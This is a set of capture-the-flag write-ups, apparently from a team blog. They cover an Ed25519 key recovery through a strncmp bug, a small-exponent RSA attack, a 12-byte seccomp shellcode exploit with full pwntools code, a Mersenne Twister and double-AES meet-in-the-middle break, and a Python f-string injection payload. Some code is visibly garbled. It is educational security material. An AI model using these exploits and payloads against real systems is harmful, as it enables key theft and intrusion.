• This challenge came with c code and this description:

The crypto_sign function is designed to meet the standard notion of unforgeability for a public-key signature scheme under chosen-message attacks.


The code implements a service that creates 8 random key pairs for ed25519, it then lets you sign up to 1000 arbitrary messages. The keys used for signing can be chosen by us, by supplying the respective public key. The output looked like this:

 ./hxpcry                     [0]
Welcome to the Ed25519 existential forgery game!  Enjoy and good luck.
public key: 0609355a5505f116b6232dfc4aaedf99fef2c03376dc05f782e2b5f26454b353
public key: d24d6a7e6da062de8b0bf8b9f0efcb7617c6d6c44027af1d1e052359a80bf36d
public key: 7cf253c5667ea674ec4675a49731b3c58ee72e633212d8df05a44f9f2160bf63
public key: 3afe84a3480cae670d27363966929dd6d879981116b20600c50494378d84acb6
public key: 9c806c7bd9a890c43b2b89dc9ebe091888345ed958ef5f2fa60b42e8feb9fa98
public key: 909ec9496a787af72e444d314eb1c4910950ca7b757240a017149d7872bd6d55
public key: 816f1e428660418f942fec895e6fb75fc3db41c650578e636593e0c800064c6d
public key: d5db5e4ca30154a7266e75d6da77071e72c363fe6f0b2305810432b5ee0fd592

public key> d5db5e4ca30154a7266e75d6da77071e72c363fe6f0b2305810432b5ee0fd592
length>     1
message>    aa
public key>
[...]
forgery>    FORGED_SIGNATURE


If we manage to supply a valid signature for any of the given public keys and an arbitrary message (that we haven’t submitted to the service) the flag will be printed.

C and strings

As it can be seen by the includes, the library uses djb’s tweetnacl library. Knowing that this library probably has no direct vulnerability, we looked at the provided C file. In C it is extermely easy to screw up string handling or buffer sizes. Since the authors layed some false trails, it took us a bit to find the actually pretty obvious bug.

The code reads in the provided public key:

printf("public key> "); fflush(stdout);
if (sizeof(pk) != read_hex(pk, sizeof(pk)) || K == (idx = find(pk)))
break;


and checks if the given public key is in the list of public keys via the find function. If the public key is in the list, it then uses the user supplied public key within the signing function (along with its private key).

printf("signed:     ");
print_hex(m, sign(m, n, keys[idx].sk, pk));
printf("\n");


The find function looks like this:

unsigned find(unsigned char const *pk)
{
unsigned idx;
for (idx = 0; idx < K; ++idx)
if (!strncmp(pk, keys[idx].pk, 32))
break;
return idx;
}


It uses strncmp to compare the user supplied public key to the one stored in its internal list.

Since strncmp only compares until the first null byte (the string terminator in C), we could wait until the service gives us a public key that contains a null byte.

From that null byte on, we could submit different bytes for the public key and it would still be used during signing.

So if we get an output like this:

Welcome to the Ed25519 existential forgery game!  Enjoy and good luck.
[...]
[...]
public key>


We could submit the correct public key 22bfe776234f54e70fead863c49b13ece4ed218e00e201426618e1af551216c6, but we could also submit 22bfe776234f54e70fead863c49b13ece4ed218e00aaaaaaaaaaaaaaaaaaaaaa. The service would use both public keys with the same private key to sign our messages.

But why does this matter?

ed25519

The services signs our messages using the libraries ed25519 implementation. Ed25519 is a edDSA scheme, so basically a Schnorr signature on a twisted elliptic edwards curve.

An edDSA signature consists of two parts $(R, S)$, where R is a curve point and S a scalar. R is calculated as $R = rB$, with r beeing essentially a random value (it’s not actually random, it’s deterministic, but it serves as a random value) $r = H(H_{b,\dots,2b - 1}(k), M)$. B is the defined base point, H a one way hash function and k is the private key. Check out the linked Wikipedia article for the exact parameters of ed25519.

The S of the signature is calculated as follows:

$S \equiv r + H(R, A, M) s \pmod \ell.$

The secret r is added to the hash of R, the public key A, and the message multiplied by the secret s (derived from the private key).

So if we manage to sign the same message two times, using the same private key, but two different public keys we would get the following equations:

$S_1 \equiv r_1 + H(R_1, A_1, M) s \pmod \ell.$

and

$S_2 \equiv r_2 + H(R_2, A_2, M) s \pmod \ell.$

For these two equations, we have all the variables, except for the secret key s. Given this secret key s, we could just sign messages our selves.

The secret s can easily be calculated:

$s = \frac{S_1 - S_2}{H(R_1, A_1, M) - H(R_2, A_2, M)}$

Note that this calculation is done modulo, so it actually reads like this:

$s \equiv (S_1 - S_2) \cdot (H(R_1, A_1, M) - H(R_2, A_2, M))^{-1} \mod \ell.$

Putting it together

So the exploit works as follows:

1. Connect to the service until it gives us a public key containing a null byte
2. Use this public key to create a wrong public key (differs after the null byte)
3. Request two signatures for the same message using the differnt public keys
4. Calculate the secret s
5. Sign a message of our choice and submit it
6. Enjoy the flag

The final exploit can be found here. It uses the pure25519 python lib by Brian Warner.

Running the exploit gives us:

[+] Opening connection to 159.69.218.92 on port 25519: Done
('Found weak key', '\x14\xec5\xb3\x04]\x05\x12Ss\xaf\xdb\xbaj\xf6\x00\xf2\xa5QV\xd4~\x9a\xe9\x1f\x0b\x90\x88\xd2\xd7*+')
('Signature: ', 'cfa1a0255fb0cdab6c8183a68674e7755f2d04f0990fc67e5cbd4bea9e6661df81da90f1ef2ee990f8c6ff4f970d7955b595691a0e6d135a4a1ab7c964f63c03')

hxp{Th3_m0sT_f00lpr00f_sYsT3m_br34kz_1f_y0u_4bU5e_1t_h4rD_eN0u9h}
[*] Closed connection to 159.69.218.92 port 25519


\o/

• Daring was a pretty straight forward entry level task of this years hxp CTF.

We’re giving this python script:

#!/usr/bin/env python3
import os
from Crypto.Cipher import AES
from Crypto.Hash import SHA256
from Crypto.Util import Counter
from Crypto.PublicKey import RSA

key = RSA.generate(1024, e=3)
open('pubkey.txt', 'w').write(key.publickey().exportKey('PEM').decode() + '\n')
open('rsa.enc', 'wb').write(pow(int.from_bytes(flag.ljust(128, b'\0'), 'big'), key.e, key.n).to_bytes(128, 'big'))

key = SHA256.new(key.exportKey('DER')).digest()
open('aes.enc', 'wb').write(AES.new(key, AES.MODE_CTR, counter=Counter.new(128)).encrypt(flag))


as well as the public key and the encrypted files rsa.enc and aes.enc.

Since AES is used in counter mode, we know that the flag is 43 bytes long.

Looking at the RSA encryption we see two things:

• Small exponent (3)
• The flag is padded with trailing null bytes

Since we know the size of the flag, we can just multiply the cipher text with the encryption of the multiplicative inverse of the padding (0x100000000…).

The result would be (with m=flag and p=padding):

$(m \cdot p)^3 \cdot (p^{-1})^3 \equiv m^3 \mod N$

For a small m, we should be able to simply compute the third root of the resulting ciphertext. Since m is small we don’t need to worry about the modulus N.

Unfortunately its not quite that simple, because the flag is one byte too long for this to work.

There are multiple ways to still make this work.

I decided to just cancel out some factor of the number that represents the flag. To do this, I just ran a loop multiplying the cipher text with the inverse of this factor, taking the cube root, then multiply by this factor.

Once we hit a factor x of the flag, we get the number z:

$z \equiv (m \cdot x^{-1})^3 \mod N$

This number should be short enough for us to be able to take the cube root, then multiply it by the factor x:

$m = x \cdot \sqrt[3]{(m \cdot x^{-1})^3}$

The exploit looks like this:

from Crypto.PublicKey import RSA
import gmpy2

flag_len = 43

for factor_candidate in range(10000):
r = gmpy2.invert(2**((128 - flag_len)*8), pubkey.n)
try:
fac_r =  gmpy2.invert(factor_candidate, pubkey.n)
except Exception:
continue
enc_r = pow(r, pubkey.e, pubkey.n)
enc_fac = pow(fac_r, pubkey.e, pubkey.n)

new_enc = (rsa_enc * enc_r * enc_fac) % pubkey.n
root, succ = gmpy2.iroot(new_enc, pubkey.e)
res = int.to_bytes(int(root) * factor_candidate, 100, "big")

if b"hxp" in res:
print("factor {}: {}".format(factor_candidate, res[-43:]))
break


And gives us:

factor 83: b'hxp{DARINGPADS_1s_4n_4n4gr4m_0f_RSAPADDING}'


\o/

• We are allowed to directly execute x64 shellcode in a r/x mmapped region, however only up to a Size of 12 Bytes. And there was seccomp enabled, so we only had mprotect, read, write, open and a few other syscalls available. We cannot read the flag with only 12 Bytes available, so we must somehow reread additional shellcode. Therefore we must get our mempage writable again. And afterwards we need to read some shellcode in there, overwriting our currently executed shellcode.

Step1: Making the mempage writable

As the last function call before jumping into our shellcode was mprotect, most of the registers luckily were already set correctly. As we want to call mprotect by syscall, our shellcode therefore only needs to set rax = 10 (for mprotect) and rdx = 7 (for r/w/x rights).

; already set correctly : rdi = our mempage base addr, rsi = mempage size
mov al, 10
mov dl, 7
syscall


This will result in 6 Bytes of shellcode. Also, after successfull execution, rax will be set to zero, the syscall number of read!

Now we need to read from stdin, rax is already set to 0 (the id of read). For the parameters we need to get rdi = 0 (for stdin), rsi = rdi (rdi contains our mempage addr), rdx = the amount we want to read. My first try was something like:

mov rsi, rdi
mov rdi, rax
mov dl, 0xff
syscall


Which will result in 10 Bytes of additional shellcode, way too much, we need to get it into 6 Bytes. Therefore we can do some optimisations. For example the mov rsi, rdi operation (3 Bytes in size) can as well be expressed as push rdi; pop rsi (2 Bytes in size). By completely removing the assignment of the rdx register, we will get a 6 Byte read shellcoode.

push rdi
pop rsi
push rax
pop rdi
syscall


We now can read into our own mempage. However, rdx is still 7 from the last call, so this doesn’t help us at all, we will return right into nothing after the read syscall. We need to read more.

Step3: Mmap protection flags

As we want to get rdx > 7, we could just try to set it to some arbitrary value right before the mprotect syscall. But then mprotect will fail with EINVAL. So let’s check wich flags we have available to use the syscall correctly and get rdx > 7.

/* mman-common.h */
#define PROT_WRITE	0x2		/* page can be written */
#define PROT_EXEC	0x4		/* page can be executed */
#define PROT_SEM	0x8		/* page may be used for atomic ops */
#define PROT_NONE	0x0		/* page can not be accessed */


A PROT_SEM flag. Interesting. So setting rdx = 15 would work, we could read 3 additional Bytes and overwrite our whole current shellcode + 3. Those additional 3 Bytes are sufficient to do a jmp rsi. From there on it is a piece of cake, with that much space available, we can read an arbitrary amount of shellcode into memory and finally get our flag.

Full exploit code:

from pwn import *

context.clear(arch='amd64')

stage1 = """
mov al, 10
mov dl, 15
syscall
push rdi
pop rsi
push rax
pop rdi
syscall
"""
stage1 = asm(stage1)
assert len(stage1) <= 12

stage2 = """
mov dx, 0x1000
xor rax, rax
syscall
"""
stage2 = asm(stage2)
assert len(stage2) <= 12
stage2 = stage2.ljust(12, asm('nop')) + asm('jmp rsi')
assert len(stage2) <= 15

stage3 = "nop\n" * 15
stage3 += pwnlib.shellcraft.open('/home/minishell/flag.txt')
stage3 += pwnlib.shellcraft.write(1, 'rsp', 'rax')
stage3 = asm(stage3)

# r = remote('localhost', 6666)
r = remote('200.136.252.34', 4545)
if __name__ == '__main__':
r.recvuntil('? ')
r.send(stage1)
r.recvuntil('!\n')
r.send(stage2)
r.send(stage3)
r.interactive()
# CTF-BR{s0000_t1ght_f0r_my_B1G_sh3ll0dE_}



The PATH wasn’t set, so just opening flag.txt did not work. Had to read /etc/passwd to find out the home path.

• In this nice challenge we were given the following Python script and a TCP port to connect to:

from secret import flag, mask1, mask2
import string
import random
import sys
import os
import signal
import hashlib
from Crypto.Cipher import AES

CHOOSE 1 OPTION
1. Encrypt message
2. Decrypt message
3. Get encrypted flag
4. Exit\n
"""

sys.stdout = os.fdopen(sys.stdout.fileno(), 'w', 0)
bs = 16

def to_string(num, max_len = 128):
tmp = bin(num).lstrip('0b')[-max_len:].rjust(max_len, '0')
return "".join(chr(int(tmp[i:i+8], 2)) for i in range(0, max_len, 8))

padnum = bs - len(s) % bs

return s[:-ord(s[-1])]

tmp1 = random.random()
tmp2 = random.random()
key = int(tmp1 * 2**128) | int(tmp2 * 2**75) | (mask & 0x3fffff)
key = to_string(key)
return key

def encrypt_msg(msg, key1, key2):
iv = to_string(random.getrandbits(128))
aes1 = AES.new(key1, AES.MODE_CBC, iv)
aes2 = AES.new(key2, AES.MODE_CBC, iv)
return (iv + enc).encode("hex")

def proof_of_work():
"""
This function has very special purpose
:)) Simply to screw you up
"""
prefix = to_string(random.getrandbits(64), 64)
print 'prefix = {}'.format(prefix.encode('hex'))
challenge = raw_input('> ')
tmp = hashlib.sha256(prefix + challenge).hexdigest()
if tmp.startswith('00000'):
return True
else:
return False

signal.alarm(300)

if not proof_of_work():
exit(0)

for _ in range(256):
try:
choice = int(raw_input("> "))
except:
print "wrong option"
exit(-1)
if choice == 1:
msg = raw_input("give me a string: ")
print encrypt_msg(msg, key1, key2)
elif choice == 2:
print "Not implement yet..."
elif choice == 3:
print encrypt_msg(flag, key1, key2)
elif choice == 4:
exit(-1)
else:
print "wrong option"
exit(-1)


So with this service we are able to get either the flag or a submitted string, encrypted two times with AES using two different keys:

def encrypt_msg(msg, key1, key2):
iv = to_string(random.getrandbits(128))
aes1 = AES.new(key1, AES.MODE_CBC, iv)
aes2 = AES.new(key2, AES.MODE_CBC, iv)
return (iv + enc).encode("hex")


The two AES keys get generated on startup using Pythons random function:

def gen_key(mask):
tmp1 = random.random()
tmp2 = random.random()
key = int(tmp1 * 2**128) | int(tmp2 * 2**75) | (mask & 0x3fffff)
key = to_string(key)
return key


Each key also contains a secret mask that could be up to 22 bits long.

The to_string method just creates a byte string out of the calculated numbers, equivalently to Python3’s int.to_bytes.

Pythons random.random function is not a cryptographically secure RNG, so we should be able to recover the variables tmp1 and tmp2 once we get our hands on enough outputs.

Luckily, the used IV for the CBC mode encryption supplied to us uses the same PRNG:

iv = to_string(random.getrandbits(128))


After recovering the variables tmp1 and tmp2 for each key, we need to brute force the mask for each of the keys.

Reversing the Mersenne Twister

The server side uses Python2, which can be seen on the print statements. CPython 2.7 uses (as many other Interpreters and Libraries) the Mersenne Twister Pseudo Random Number Generator.

The Mersenne Twister works on an internal state of 624 int32 values. The numbers of the internal state have the following relationship:

$\begin{array}{lcl} h & := & Y_{i-N} - Y_{i-N} \, \bmod \, 2^{31} + Y_{i-N+1} \, \bmod \, 2^{31} \\ Y_i & := & Y_{i-227} \;\oplus\; \lfloor h/2 \rfloor \;\oplus\; ((h \, \bmod \, 2) \cdot \mathtt{9908B0DF_{hex}}) \end{array}$

With N = 624 as the size of the internal state. Meaning that every number depends on 3 numbers that came before it.

Before the current number is outputted, it gets mangled to meet some statistical properties. The CPython source code shows this:

[...]
y = mt[self->index++];
y ^= (y >> 11);
y ^= (y << 7) & 0x9d2c5680UL;
y ^= (y << 15) & 0xefc60000UL;
y ^= (y >> 18);
return y;


So in order to recover the variable tmp1, we’d need to:

• Request 156 random IVs (since every IV is made of four int32)
• Reverse the bit mangling of the output to receive the internal state $Y_i$
• Calculate the state $Y_{i - N + 1}$ which was used in the random.random function
• Recreate the gen_key function with our recovered pseudo random number

Unfortunately it’s not that easy. But almost. By looking at the way, internal states get calculated we see that the last bit of our targeted state is lost in the process. The highest bit of our targeted state can be recovered by looking at the successor state $Y_{i + 1}$ (only the highest bit gets used, see above). This means we get 2 possible numbers per recovered internal state.

Since the random.random function uses two int32 values:

static PyObject * random_random(RandomObject *self)
{
unsigned long a=genrand_int32(self)>>5, b=genrand_int32(self)>>6;
return PyFloat_FromDouble((a*67108864.0+b)*(1.0/9007199254740992.0));
}


We get 2*2 possible outputs per random.random call. Since the function is called two times per key and we have two keys, there are $(2^2)^2 = 16$ possibilities how each keys could look like.

So after requesting 156 128-bit IVs we split them up in 32 bit chunks that represent the output of the mersenne twister:

def output128_to_32(outputs):
for o in outputs:
bn = o.to_bytes(16, "little")
for i in range(4):
outputs32.append(int.from_bytes(bn[i*4:(i+1)*4], "little"))
return outputs32


We then proceed to reverse the mangling of the outputs to get the internal state $Y_i$ and finally calculate the candidates for all the pseudo random int32’s that were used during key generation:

def inv(x):
x ^= (x >> 18)
# Lowest 16 bit stay how they are, so we can just repeat...
x ^= (x << 15) & 0xEFC60000
# Do it step by step
x ^= (x << 7) & 0x1680
x ^= (x << 7) & 0xC4000
x ^= (x << 7) & 0xD200000
x ^= (x << 7) & 0x90000000
# Only highest 11 bits are untouched
x ^= (x >> 11) & 0xFFC00000
# Do step by step again
x ^= (x >> 11) & 0x3FF800
x ^= (x >> 11) & 0x7FF
return x

def recover_state(i, outputs32):
"""
return all possible candidates for state how it was (i-624) iterations ago!
"""

Y = inv(outputs32[i - 1])
h_1 = Y ^ inv(outputs32[i - 227 - 1])
Y_old = inv(outputs32[i])
h_1_msb = ((Y_old ^ inv(outputs32[i - 227]))>>30) & 1

h_2 = h_1
h_2_alt = h_1 ^ 0x9908B0DF

# even case
h_2 = (h_2 << 1) & 0x7fffffff
# odd case
h_2_alt = ((h_2_alt << 1)|1) & 0x7fffffff

# Add the missing highest bit (recovered from successive output)
h_2 = (h_1_msb<<31)|h_2
h_2_alt = (h_1_msb<<31)|h_2_alt

candidates = [h_2, h_2_alt]
return candidates


We then use those candidates to create all 16 possible combinations of float values that could have been created using the random.random function:

def float_magic(a, b):
"""
Rebuild of random_rancom from randommodule.c
uses two outsputs!
"""
a = a >> 5
b = b >> 6
return (a*67108864.0+b)*(1.0/9007199254740992.0)

def floats_for_cands(a_cs, b_cs):
"""
Applies float_magic to all candidate combinations
"""
floats = []
for a_c in a_cs:
for b_c in b_cs:
floats.append(float_magic(a_c, b_c))
return floats


(The link of the full exploit script is below.)

We also have to keep in mind that the proof of work challenge of the server uses 64 bits (two internal states) of the PRNG between key generation and first IV.

Meet in the Middle

So after we can nail the variables tmp1 and tmp2 down to 16 candidates, we just need to find the secret masks of the keys.

Since we have two keys with a mask of 22 bits, we would need to brute force $2^{22} \cdot 2^{22} = 2^{44}$ keys, right? Wrong! We can employ a meet in the middle attack.

By decrypting the flag’s ciphertext with all $16 \cdot 2^{22}$ possible key2 keys and storing the results of the decryption together with the keys, we can go through all possible key1 keys encrypting our plaintext and comparing the results.

So the attack works as follows:

• Send a plaintext to the server, store the returned ciphertext
• Go through all 67 million possible candidates for key2 and decrypt the ciphertext with them
• Save all 67 million ciphertext/key2 pairs in a hash table
• Go through all possible candidates for key1 and encrypt our plaintext with key1
• Compare if the encryption with key1 yields the same result as the decryption of a candidate of key2

If we found a case where the encryption of key1 matches the decryption of key2, we found our two keys! Instead of having to go through $2^{44} = 17592186044416$ we only have to go through roughly $2 \cdot 2^{22} = 8388608$ possible values for mask1 and mask2.

Putting it together

The full exploit script can be found on github.

It is far from beeing optimized but uses the multiprocessing module to distribute the work over 16 processes.

We ran the script on a optimized droplet with 64 GB RAM and 16 physical cores to get good performance.

After running the script for a couple of minutes, we got:

\$ p3 swag.py
After Pow
At  0
At  1
At  2
At  3
[...]
The flag is: MeePwnCTF{DO_n0t_trust_anyth1ng}


\o/

• PyCalX2 was part of the MeePwnCTF Quals 2018 and consists of a webpage with 3 inputs, a value, an operator and a second value.

You should have a look PyCalX before reading this writeup.

Filtered input

The code differs from PyCalX by the fact that our operation is filtered now too, this breaks our quote injection and we have to find a new way in.

-    op = get_op(arguments['op'].value)
+    op = get_op(get_value(arguments['op'].value))


Fun with flags

Well, seeing the flag of PyCalcX we get a hint for python3.6, reading the changelog we found that python3.6 intruduced a new type of format-strings, often called f-strings or Literal String Interpolation.

With that information our new operator now is: +f

Exploit

These new format strings allow some eval-like behaviour, using {FLAG<source} we appearantly have an even easier comparison, but there is a catch, this returns True or False, which would be appended to value1 (which can’t be empty), but the script only allows outputs with digits, the word True or the word False, no combinations, nothing else.

As a workaround we can use nesting inside the format-string, something like {"e":{FLAG<source:1}.1} would return e if FLAG<source, otherwise it would throw an exception. Setting value1 to Tru this would end up as True in one case and Invalid (because of the exception) in the other.

Now we still can’t use quotes so we have to find a string starting with e, but that’s quite easy and our full payload for value2 now looks like this: {sys.exit.__name__:{FLAG<source:1}.1}.

With everything in place we can now do the binary search again.

This time we knew what was coming: MeePwnCTF{python3.6[_strikes_backkkkkkkkkkkk)}